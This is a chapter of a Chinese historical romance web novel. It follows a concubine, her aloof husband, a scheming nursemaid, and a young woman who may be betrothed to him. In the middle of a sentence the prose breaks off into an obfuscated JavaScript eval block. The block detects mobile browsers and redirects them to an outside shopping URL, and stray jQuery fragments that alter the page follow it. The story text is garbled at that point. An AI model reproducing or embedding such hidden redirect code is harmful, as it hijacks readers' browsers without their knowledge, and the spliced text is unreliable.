厢房中,府中女医给沈之柔包扎好了伤口。
周敬川看着她指尖缠着的素绢,心中莫名浮起些怪异,冷冷道:“我既已把徐嬷嬷叫来院中小厨房,你以后便不必事事都亲力亲为了,至于大夫人,你不必担忧。”
沈之柔嘴唇发白,声音也涩然:“是…多谢二爷为我考虑。”
“我昨日说的话你可都记住了?”
“妾记得的,今日是我自己不注意,又给二爷添麻烦了……”
周敬川一哂:“你知道便好,以后你安安分分地待在这院中,不必蓄意讨好谁。”
沈之柔觉得喉间更涩,形似哽咽道:“嗯……”
“我公务繁重,近日都不会回府,”周敬川默了一默,又道:“但今日这一遭下来,府中众人皆知我护你心切,当是没人会再为难你。”
原来他什么都知道。
沈之柔一时竟不知该说些怎么。
她该对周敬川的体贴感恩戴德吗?可为什么心中竟不知好歹地涌出了失落……
见沈之柔微微皱着眉垂眼,一副心事重重的模样,周敬川一阵说不上来的烦躁。
他当日也确是冲动,竟真将这么个大麻烦娶进了门。
语气有些不耐道:“这几日都不必等我用膳,就算我回府了,你也不必特地来伺候。”
“是,妾知晓了。”
沈之柔又连忙起身要送他,被周敬川一个不怒而威的眼神吓住了。
周敬川发觉沈之柔总是像一只受惊的猫,不…猫要讨喜得多。
声音还是缓了缓:“你且好好歇息。”
周敬川三两步就要迈出厢房,沈之柔还是弱弱地喊住了他,周敬川转过头来,漠然的眉宇间此刻写满了不耐烦。
“还有事吗?”
“我……二爷,我能不能继续和徐嬷嬷学厨艺,那个,我不是想打搅二爷,只是成日在这院中,我也想找些事做。”
周敬川拧起眉,冷冷道:“随你。”
周敬川的身影消失在眼前,沈之柔望着他离去的方向,心中有一丝淡淡的怅然。
她再懵懂,也该明白了周敬川的意思,是她攀附周家在先,周敬川如今不与她计较了,她应该感到庆幸才对,为何会感到不安?
李嬷嬷送了些茶点进来,眉开眼笑,守在榻边,八卦道:“老奴瞧着这周家二爷是越来越珍视姨娘了,先是特许姨娘回门探亲,又是送亲笔书画给姨娘撑场面,昨日姨娘去见那谢家少爷,我原本还担心姨娘会被责罚,没想到二爷非但不怪罪姨娘,还专门将徐嬷嬷叫来了院中,省得姨娘成日到那伙房里去受罪。”
“还有还有,今日姨娘伤了手,您当时是没看到,二爷赶来时那叫一个急啊!!”
李嬷嬷越讲越兴奋,可沈之柔反应却始终平淡。
周敬川待她确是不薄,在外人面前给足了她体面,可是……她想起了娘亲的叮嘱,若是不怀上周敬川的孩子,母凭子贵,那她在周家就只能一辈子仰人鼻息,任人拿捏……
可眼下的情况是,周敬川拒她于千里之外。
甚至为她做足了表面功夫,也不愿意碰她一下。
沈之柔现在也弄不清自己心里到底是怎么想的,周敬川昨日才告诉她凭心而活,今日她竟又不知不觉地算计起他来。
李嬷嬷见沈之柔发愣,斟了杯茶递到她手边:“姨娘想什么呢?”
沈之柔汲了一口,道:“二爷方才同我说,他这些日子忙于公务,不会回府中。”
难怪沈之柔看着这般失落,李嬷嬷掩着嘴笑道:“二爷这前脚才刚走,姨娘就这般记挂他了?”
沈之柔想说当然不是,但还是随口“嗯”了一声。
“姨娘若是惦记二爷,何不这几日送些糕点到那翰林院去,如此一来,二爷也能时时刻刻想着姨娘。”
沈之柔一惊:“可这不合礼数的……”
李嬷嬷一脸胸有成竹:“这几日老奴在院中上下都有走动,打听到二爷每逢夜间留院理事,周家都会派仆从送些吃食去。”
“李嬷嬷是想……”
“没错,那几位仆从交给老奴便是,姨娘若是想亲手做些点心给二爷,老奴自会叫他们将姨娘的心意送到位。”
李嬷嬷所言,确实是个好主意。
但沈之柔实在不愿也不敢拂了她的兴,若是李嬷嬷知道她和周敬川如今的关系,娘亲必定也会知道……
昨日回门,她从娘亲那里得知,这段时间父亲沾了周家的光,许多从前看不上父亲捐官出身的官员都争相来巴结……
若周敬川能一直如现在这般待她,是不是哪怕他们之间没有夫妻之实也可以?
/
午膳过后,菱秋来院里通传,说尚书夫人有事找沈之柔。
这个点了,总不能是叫她去用膳,沈之柔莫名有些心慌。
菱秋一路将她引到后花园,示意她自行去往凉亭中,沈之柔远远的便看见那亭下坐着两人,除了尚书夫人,还有另一位女子。
那女子与尚书夫人一同坐着品茶,看打扮也不似丫鬟。
沈之柔恭谨地对着尚书夫人一揖,夫人神色和蔼地摆了摆手,却也没让她坐下。
“沈姨娘,今日我家里的妹妹来同我小叙,我想着你二人年纪相仿,便叫你来与她说一说话,没打搅到你吧?”
“不会的,谢谢夫人还想着我。”
说罢,她便看向那位“妹妹”。只见是个年轻女子,长相俊秀,眉宇间有一股傲劲,这让沈之柔不由想起了沈之华。
女子见着她,眉梢一扬,笑道:“白疏雨。”
沈之柔恭敬道:“白小姐。”
白疏雨淡淡将她打量一番,又道:“我还真当周敬川如传闻所言一般,是个不近女色的,如今看来,怕也是英雄难过美人关。”
尚书夫人揉了揉眉心,笑道:“沈姨娘,疏雨是个性子直爽的,你不必往心里去。”
“嗐!我这是夸沈姨娘貌美呢,表姐你怎能当着美人的面这般编排我!”
尚书夫人笑意更甚,睨了沈之柔一眼,又看向白疏雨,道:“你看看人家沈姨娘,年纪比你还小上两岁,多沉稳得体,你倒好,坐没坐相的,一点也不像个大家闺秀!”
白疏雨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911687|213136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
听罢,一骨碌站起来,扯住沈之柔的袖口就把她往下拉,一边道:“好好好,我没坐相,沈姨娘你坐,也教教我。”
沈之柔坐也不是,为难地看向尚书夫人,见对方默许似的点了点头,这才老老实实地坐下。
白疏雨若有所思地看了她一会,缓缓抱拳道:“沈姨娘这坐相确实才称得上大家闺秀,表姐教训得是,我定当和沈姨娘好好学学。”
沈之柔有些不好意思地道:“我哪里够得上格……”
尚书夫人抿了口茶,轻笑道:“今日见着你们这两个年轻小丫头相处,便让我想起了我年少时……”
白疏雨拧起眉,叉腰教训尚书夫人似的:“表姐又说什么胡话呢,您走到外头,让大家伙都评评理,您这芳姿绰约的,可不正当年少嘛!”
尚书夫人愈加忍俊不禁,指着她:“你啊!怪不得你爹爹说你成天没个正形,书也不念,净学些油嘴滑舌的本领了!”
又道:“也罢,也罢,我是不该成天说些没用的话来扫你的兴,既然沈姨娘来了,你二人便好好玩会。”
尚书夫人轻拍了拍沈之柔的肩,道:“我这表妹虽年长于你,但让家里人宠得太骄纵了些,还请你多担待些,府里还有其他事,疏雨便托付与你了。”
沈之柔点点头:“妾定好好招待白小姐。”
尚书夫人前脚刚走,白疏雨后脚便往石凳上一坐,将雕花食屉里的糕点都摆出来,一边吃一边道:“表姐规矩真多,饿死我了,沈小姐你也快吃!”
沈之柔也举起块桃花糕,轻咬了一口。
白疏雨突然喊道:“帕子帕子!有没有帕子!”
沈之柔连忙抽出丝帕给她,白疏雨接过帕子拢在手心,将方才吃下的糕点又吐了出来。
吐完长舒了一口气,道:“活过来了,这糕点里头怎么还放了蜜枣,我最讨厌吃枣了,沈小姐…你的帕子我下次还你条新的。”
沈之柔摇摇头道:“不打紧的。”
又指了指桃花糕,道:“这个没有枣,白小姐尝尝。”
白疏雨从善如流,立马吃了半块,笑道:“沈小姐真是人美心善,我看那周敬川是修了八辈子的福才娶到你。”
沈之柔险些噎住,喝了口茶水才缓和过来。
“白小姐过誉了,能嫁给二爷是我高攀。”
白疏雨垂下眉眼,拿起边上的小银匙,一边将桃花糕的五个花瓣仔细肢解开,一边问:“沈小姐,你觉得那周敬川是个什么样的人?”
沈之柔更不知该如何回她了,只得拣些不痛不痒的话来应付:“二爷是谦谦君子,不仅才学渊博,而且待人也极为和善。”
白疏雨叹了口气,道:“沈小姐,你就同我说真心话吧!”
“妾说的确是真心话……”
“父亲和表姐有意让我嫁给周敬川,可我听说他性子根本怪得很……我今日见着沈小姐就觉得你我极为投缘,你就说实话吧,我定不会出卖你哪怕半句!”
白疏雨甚至并起三指,做了个对天发誓的手势。
沈之柔只听见那句嫁给周敬川,脑中顿时一片茫然。